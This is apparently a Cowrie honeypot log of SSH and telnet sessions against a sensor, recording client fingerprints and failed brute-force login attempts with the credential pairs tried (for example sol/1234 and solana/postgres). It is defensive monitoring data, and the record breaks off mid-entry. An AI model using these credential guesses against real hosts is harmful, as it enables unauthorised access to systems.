{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:51.115263Z","src_ip":"2.57.122.208","session":"d5d8726e1d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:51.544492Z","src_ip":"2.57.122.208","session":"d5d8726e1d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:52.712943Z","src_ip":"2.57.122.208","session":"d5d8726e1d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":53374,"dst_ip":"159.203.135.109","dst_port":22,"session":"d083819eefad","protocol":"ssh","message":"New connection: 196.188.63.205:53374 (159.203.135.109:22) [session: d083819eefad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:56.989528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:56.993273Z","src_ip":"196.188.63.205","session":"d083819eefad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:57.207843Z","src_ip":"196.188.63.205","session":"d083819eefad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59718,"dst_ip":"159.203.135.109","dst_port":22,"session":"13cf3a276663","protocol":"ssh","message":"New connection: 193.32.162.145:59718 (159.203.135.109:22) [session: 13cf3a276663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:58.011937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:58.019150Z","src_ip":"193.32.162.145","session":"13cf3a276663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user03@123","message":"login attempt [user03/user03@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:58.081470Z","src_ip":"196.188.63.205","session":"d083819eefad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:58.119076Z","src_ip":"193.32.162.145","session":"13cf3a276663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:58.625005Z","src_ip":"193.32.162.145","session":"13cf3a276663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:59.294560Z","src_ip":"196.188.63.205","session":"d083819eefad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:59.740773Z","src_ip":"193.32.162.145","session":"13cf3a276663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.94.226.221","src_port":45621,"dst_ip":"10.17.0.5","dst_port":23,"session":"a660fcee61c2","protocol":"telnet","message":"New connection: 78.94.226.221:45621 (10.17.0.5:23) [session: a660fcee61c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:02.673092Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a042f388c80c","protocol":"ssh","message":"New connection: 2.57.122.96:35700 (159.203.135.109:22) [session: a042f388c80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:06.147535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:06.182490Z","src_ip":"2.57.122.96","session":"a042f388c80c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:06.410969Z","src_ip":"2.57.122.96","session":"a042f388c80c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin@123","message":"login attempt [sol/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:06.792500Z","src_ip":"2.57.122.96","session":"a042f388c80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:07.894839Z","src_ip":"2.57.122.96","session":"a042f388c80c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13943,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fbb7c9394d8","protocol":"ssh","message":"New connection: 2.57.121.25:13943 (10.17.0.5:22) [session: 6fbb7c9394d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:09.384111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:09.389571Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:09.495064Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101082","message":"login attempt [user/101082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:09.983709Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10091983","message":"login attempt [user/10091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:11.090267Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10061980","message":"login attempt [user/10061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:12.195965Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10011982","message":"login attempt [user/10011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:13.301752Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121992","message":"login attempt [user/09121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:14.407668Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:15.513375Z","src_ip":"2.57.121.25","session":"6fbb7c9394d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88950228691101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:33.562433Z","src_ip":"78.94.226.221","session":"a660fcee61c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36928,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3b67b386d8","protocol":"ssh","message":"New connection: 14.225.2.125:36928 (159.203.135.109:22) [session: 1d3b67b386d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:42.262573Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:42.532775Z","src_ip":"14.225.2.125","session":"1d3b67b386d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36944,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe6b9ed9fc3d","protocol":"ssh","message":"New connection: 14.225.2.125:36944 (159.203.135.109:22) [session: fe6b9ed9fc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:42.787029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:42.791259Z","src_ip":"14.225.2.125","session":"fe6b9ed9fc3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:43.054815Z","src_ip":"14.225.2.125","session":"fe6b9ed9fc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bio3","password":"1234","message":"login attempt [bio3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:43.842364Z","src_ip":"14.225.2.125","session":"fe6b9ed9fc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:50:45.108303Z","src_ip":"14.225.2.125","session":"fe6b9ed9fc3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7743,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef0d98520a69","protocol":"ssh","message":"New connection: 2.57.121.25:7743 (159.203.135.109:22) [session: ef0d98520a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:21.054699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:21.059043Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:21.158150Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101082","message":"login attempt [user/101082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:21.629795Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10091983","message":"login attempt [user/10091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:22.730918Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10061980","message":"login attempt [user/10061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:23.831278Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10011982","message":"login attempt [user/10011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:24.936073Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121992","message":"login attempt [user/09121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:26.036782Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:27.138471Z","src_ip":"2.57.121.25","session":"ef0d98520a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33702,"dst_ip":"159.203.135.109","dst_port":22,"session":"3098b3067985","protocol":"ssh","message":"New connection: 2.57.122.208:33702 (159.203.135.109:22) [session: 3098b3067985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:59.688207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:51:59.711793Z","src_ip":"2.57.122.208","session":"3098b3067985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 